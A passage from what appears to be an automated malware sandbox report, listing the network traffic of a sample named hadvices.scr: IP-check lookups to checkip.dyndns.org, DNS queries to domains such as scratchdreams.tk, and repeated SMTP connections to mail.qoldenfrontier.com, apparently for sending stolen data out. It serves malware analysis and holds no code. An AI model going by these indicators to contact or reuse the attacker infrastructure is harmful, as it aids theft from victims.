May 1, 2024 15:18:35.734958887 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:35.735127926 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:35.919647932 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:35.919945002 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.052894115 CEST	80	49730	193.122.130.0	192.168.2.7
May 1, 2024 15:18:36.053004026 CEST	49730	80	192.168.2.7	193.122.130.0
May 1, 2024 15:18:36.104454041 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:36.108715057 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.294116974 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:36.294261932 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.480974913 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:36.483011007 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.679652929 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:36.679847956 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.864527941 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:36.864588976 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:36.864942074 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.865012884 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.865012884 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:36.865027905 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:37.049437046 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.050724030 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.051245928 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:37.277705908 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.438815117 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.438994884 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:37.439043999 CEST	49745	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:37.439846039 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:37.623197079 CEST	587	49745	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.624324083 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.624403000 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:37.881153107 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:37.881314039 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:38.066452026 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:38.066719055 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:38.257388115 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:38.257596016 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:38.443741083 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:38.443901062 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:38.628559113 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:38.628998995 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:38.824045897 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:38.824176073 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.012830019 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.012978077 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.013246059 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.013278961 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.013278961 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.013290882 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.198256016 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.199729919 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.203257084 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.428162098 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.590287924 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.590363026 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.590423107 CEST	49746	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.591370106 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.775234938 CEST	587	49746	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.775840044 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.775929928 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:39.994204998 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:39.994446993 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:40.180181980 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:40.180356026 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:40.366153955 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:40.366406918 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:40.556767941 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:40.557101965 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:40.741717100 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:40.741892099 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:40.938692093 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:40.941020966 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.125880957 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.125916004 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.126292944 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.126343966 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.126343966 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.126355886 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.310976028 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.312248945 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.312752962 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.538166046 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.698955059 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.699076891 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.699157953 CEST	49747	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.700185061 CEST	49748	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:41.883652925 CEST	587	49747	108.167.142.65	192.168.2.7
May 1, 2024 15:18:41.883867979 CEST	587	49748	108.167.142.65	192.168.2.7
May 1, 2024 15:18:42.394844055 CEST	49748	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:42.578593016 CEST	587	49748	108.167.142.65	192.168.2.7
May 1, 2024 15:18:43.082320929 CEST	49748	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:43.267946005 CEST	587	49748	108.167.142.65	192.168.2.7
May 1, 2024 15:18:43.769843102 CEST	49748	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:43.953841925 CEST	587	49748	108.167.142.65	192.168.2.7
May 1, 2024 15:18:44.457391024 CEST	49748	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:44.641572952 CEST	587	49748	108.167.142.65	192.168.2.7
May 1, 2024 15:18:44.685816050 CEST	49749	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:44.870863914 CEST	587	49749	108.167.142.65	192.168.2.7
May 1, 2024 15:18:45.379203081 CEST	49749	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:45.564320087 CEST	587	49749	108.167.142.65	192.168.2.7
May 1, 2024 15:18:46.068829060 CEST	49749	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:46.253977060 CEST	587	49749	108.167.142.65	192.168.2.7
May 1, 2024 15:18:46.754205942 CEST	49749	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:46.939414024 CEST	587	49749	108.167.142.65	192.168.2.7
May 1, 2024 15:18:47.442256927 CEST	49749	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:47.627381086 CEST	587	49749	108.167.142.65	192.168.2.7
May 1, 2024 15:18:48.029040098 CEST	49750	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:48.214704037 CEST	587	49750	108.167.142.65	192.168.2.7
May 1, 2024 15:18:48.715177059 CEST	49750	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:48.904052973 CEST	587	49750	108.167.142.65	192.168.2.7
May 1, 2024 15:18:49.410470009 CEST	49750	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:49.595302105 CEST	587	49750	108.167.142.65	192.168.2.7
May 1, 2024 15:18:50.097980976 CEST	49750	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:50.283668041 CEST	587	49750	108.167.142.65	192.168.2.7
May 1, 2024 15:18:50.785491943 CEST	49750	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:50.971277952 CEST	587	49750	108.167.142.65	192.168.2.7
May 1, 2024 15:18:50.973021030 CEST	49751	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:51.158214092 CEST	587	49751	108.167.142.65	192.168.2.7
May 1, 2024 15:18:51.660538912 CEST	49751	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:51.845679998 CEST	587	49751	108.167.142.65	192.168.2.7
May 1, 2024 15:18:52.348021984 CEST	49751	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:52.532847881 CEST	587	49751	108.167.142.65	192.168.2.7
May 1, 2024 15:18:53.035506964 CEST	49751	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:53.221565962 CEST	587	49751	108.167.142.65	192.168.2.7
May 1, 2024 15:18:53.738610983 CEST	49751	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:53.923520088 CEST	587	49751	108.167.142.65	192.168.2.7
May 1, 2024 15:18:54.143819094 CEST	49752	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:54.328566074 CEST	587	49752	108.167.142.65	192.168.2.7
May 1, 2024 15:18:54.832338095 CEST	49752	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:55.017455101 CEST	587	49752	108.167.142.65	192.168.2.7
May 1, 2024 15:18:55.519849062 CEST	49752	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:55.705322981 CEST	587	49752	108.167.142.65	192.168.2.7
May 1, 2024 15:18:56.207547903 CEST	49752	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:56.393023968 CEST	587	49752	108.167.142.65	192.168.2.7
May 1, 2024 15:18:56.898338079 CEST	49752	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:57.084678888 CEST	587	49752	108.167.142.65	192.168.2.7
May 1, 2024 15:18:58.957066059 CEST	49753	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:59.142776012 CEST	587	49753	108.167.142.65	192.168.2.7
May 1, 2024 15:18:59.644862890 CEST	49753	587	192.168.2.7	108.167.142.65
May 1, 2024 15:18:59.830840111 CEST	587	49753	108.167.142.65	192.168.2.7
May 1, 2024 15:19:00.332386971 CEST	49753	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:00.518038988 CEST	587	49753	108.167.142.65	192.168.2.7
May 1, 2024 15:19:01.019961119 CEST	49753	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:01.207639933 CEST	587	49753	108.167.142.65	192.168.2.7
May 1, 2024 15:19:01.707415104 CEST	49753	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:01.893611908 CEST	587	49753	108.167.142.65	192.168.2.7
May 1, 2024 15:19:02.814527035 CEST	49754	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:02.999007940 CEST	587	49754	108.167.142.65	192.168.2.7
May 1, 2024 15:19:03.504266977 CEST	49754	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:03.688738108 CEST	587	49754	108.167.142.65	192.168.2.7
May 1, 2024 15:19:04.191757917 CEST	49754	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:04.376245975 CEST	587	49754	108.167.142.65	192.168.2.7
May 1, 2024 15:19:04.879268885 CEST	49754	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:05.064759970 CEST	587	49754	108.167.142.65	192.168.2.7
May 1, 2024 15:19:05.582421064 CEST	49754	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:05.767082930 CEST	587	49754	108.167.142.65	192.168.2.7
May 1, 2024 15:19:07.677334070 CEST	49755	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:07.863184929 CEST	587	49755	108.167.142.65	192.168.2.7
May 1, 2024 15:19:08.363670111 CEST	49755	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:08.549455881 CEST	587	49755	108.167.142.65	192.168.2.7
May 1, 2024 15:19:09.051177979 CEST	49755	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:09.237016916 CEST	587	49755	108.167.142.65	192.168.2.7
May 1, 2024 15:19:09.738689899 CEST	49755	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:09.924498081 CEST	587	49755	108.167.142.65	192.168.2.7
May 1, 2024 15:19:10.426155090 CEST	49755	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:10.613389969 CEST	587	49755	108.167.142.65	192.168.2.7
May 1, 2024 15:19:11.763715029 CEST	49756	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:11.949039936 CEST	587	49756	108.167.142.65	192.168.2.7
May 1, 2024 15:19:12.457515001 CEST	49756	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:12.642808914 CEST	587	49756	108.167.142.65	192.168.2.7
May 1, 2024 15:19:13.144898891 CEST	49756	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:13.333462954 CEST	587	49756	108.167.142.65	192.168.2.7
May 1, 2024 15:19:13.848119020 CEST	49756	587	192.168.2.7	108.167.142.65
May 1, 2024 15:19:14.033320904 CEST	587	49756	108.167.142.65	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 15:17:06.882311106 CEST	63113	53	192.168.2.7	1.1.1.1
May 1, 2024 15:17:06.986912012 CEST	53	63113	1.1.1.1	192.168.2.7
May 1, 2024 15:17:26.341912985 CEST	59175	53	192.168.2.7	1.1.1.1
May 1, 2024 15:17:26.437238932 CEST	53	59175	1.1.1.1	192.168.2.7
May 1, 2024 15:17:26.810415983 CEST	54253	53	192.168.2.7	1.1.1.1
May 1, 2024 15:17:26.909460068 CEST	53	54253	1.1.1.1	192.168.2.7
May 1, 2024 15:17:35.597450018 CEST	61809	53	192.168.2.7	1.1.1.1
May 1, 2024 15:17:35.949825048 CEST	53	61809	1.1.1.1	192.168.2.7
May 1, 2024 15:17:58.973305941 CEST	61757	53	192.168.2.7	1.1.1.1
May 1, 2024 15:17:59.334547043 CEST	53	61757	1.1.1.1	192.168.2.7
May 1, 2024 15:18:21.492137909 CEST	64942	53	192.168.2.7	1.1.1.1
May 1, 2024 15:18:21.734651089 CEST	53	64942	1.1.1.1	192.168.2.7
May 1, 2024 15:18:36.661045074 CEST	49968	53	192.168.2.7	1.1.1.1
May 1, 2024 15:18:36.901560068 CEST	53	49968	1.1.1.1	192.168.2.7
May 1, 2024 15:19:00.724261045 CEST	50177	53	192.168.2.7	1.1.1.1
May 1, 2024 15:19:00.966758966 CEST	53	50177	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 1, 2024 15:17:06.882311106 CEST	192.168.2.7	1.1.1.1	0xc48b	Standard query (0)	advising-receipts.com	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.341912985 CEST	192.168.2.7	1.1.1.1	0x2e6	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.810415983 CEST	192.168.2.7	1.1.1.1	0xc5dd	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:35.597450018 CEST	192.168.2.7	1.1.1.1	0x8a23	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:58.973305941 CEST	192.168.2.7	1.1.1.1	0xbebc	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false
May 1, 2024 15:18:21.492137909 CEST	192.168.2.7	1.1.1.1	0x3837	Standard query (0)	mail.qoldenfrontier.com	A (IP address)	IN (0x0001)	false
May 1, 2024 15:18:36.661045074 CEST	192.168.2.7	1.1.1.1	0x5783	Standard query (0)	mail.qoldenfrontier.com	A (IP address)	IN (0x0001)	false
May 1, 2024 15:19:00.724261045 CEST	192.168.2.7	1.1.1.1	0xe3c4	Standard query (0)	mail.qoldenfrontier.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 1, 2024 15:17:06.986912012 CEST	1.1.1.1	192.168.2.7	0xc48b	No error (0)	advising-receipts.com		172.67.141.195	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:06.986912012 CEST	1.1.1.1	192.168.2.7	0xc48b	No error (0)	advising-receipts.com		104.21.27.63	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.437238932 CEST	1.1.1.1	192.168.2.7	0x2e6	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
May 1, 2024 15:17:26.437238932 CEST	1.1.1.1	192.168.2.7	0x2e6	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.437238932 CEST	1.1.1.1	192.168.2.7	0x2e6	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.437238932 CEST	1.1.1.1	192.168.2.7	0x2e6	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.437238932 CEST	1.1.1.1	192.168.2.7	0x2e6	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.437238932 CEST	1.1.1.1	192.168.2.7	0x2e6	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.909460068 CEST	1.1.1.1	192.168.2.7	0xc5dd	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:26.909460068 CEST	1.1.1.1	192.168.2.7	0xc5dd	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:35.949825048 CEST	1.1.1.1	192.168.2.7	0x8a23	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:35.949825048 CEST	1.1.1.1	192.168.2.7	0x8a23	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:59.334547043 CEST	1.1.1.1	192.168.2.7	0xbebc	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false
May 1, 2024 15:17:59.334547043 CEST	1.1.1.1	192.168.2.7	0xbebc	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
May 1, 2024 15:18:21.734651089 CEST	1.1.1.1	192.168.2.7	0x3837	No error (0)	mail.qoldenfrontier.com		108.167.142.65	A (IP address)	IN (0x0001)	false
May 1, 2024 15:18:36.901560068 CEST	1.1.1.1	192.168.2.7	0x5783	No error (0)	mail.qoldenfrontier.com		108.167.142.65	A (IP address)	IN (0x0001)	false
May 1, 2024 15:19:00.966758966 CEST	1.1.1.1	192.168.2.7	0xe3c4	No error (0)	mail.qoldenfrontier.com		108.167.142.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

advising-receipts.com

armmf.adobe.com

reallyfreegeoip.org

scratchdreams.tk

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49720	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:26.568280935 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 1, 2024 15:17:26.663008928 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>
May 1, 2024 15:17:26.675785065 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 1, 2024 15:17:26.773938894 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>
May 1, 2024 15:17:27.758217096 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 1, 2024 15:17:27.865155935 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49728	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:29.975919008 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 1, 2024 15:17:30.071109056 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49730	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:30.957253933 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 1, 2024 15:17:31.052700996 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49732	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:31.603873968 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 1, 2024 15:17:31.698998928 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49734	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:32.253535032 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 1, 2024 15:17:32.348392963 CEST	273	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 149.18.24.96</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49736	193.122.130.0	80	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 15:17:34.000605106 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
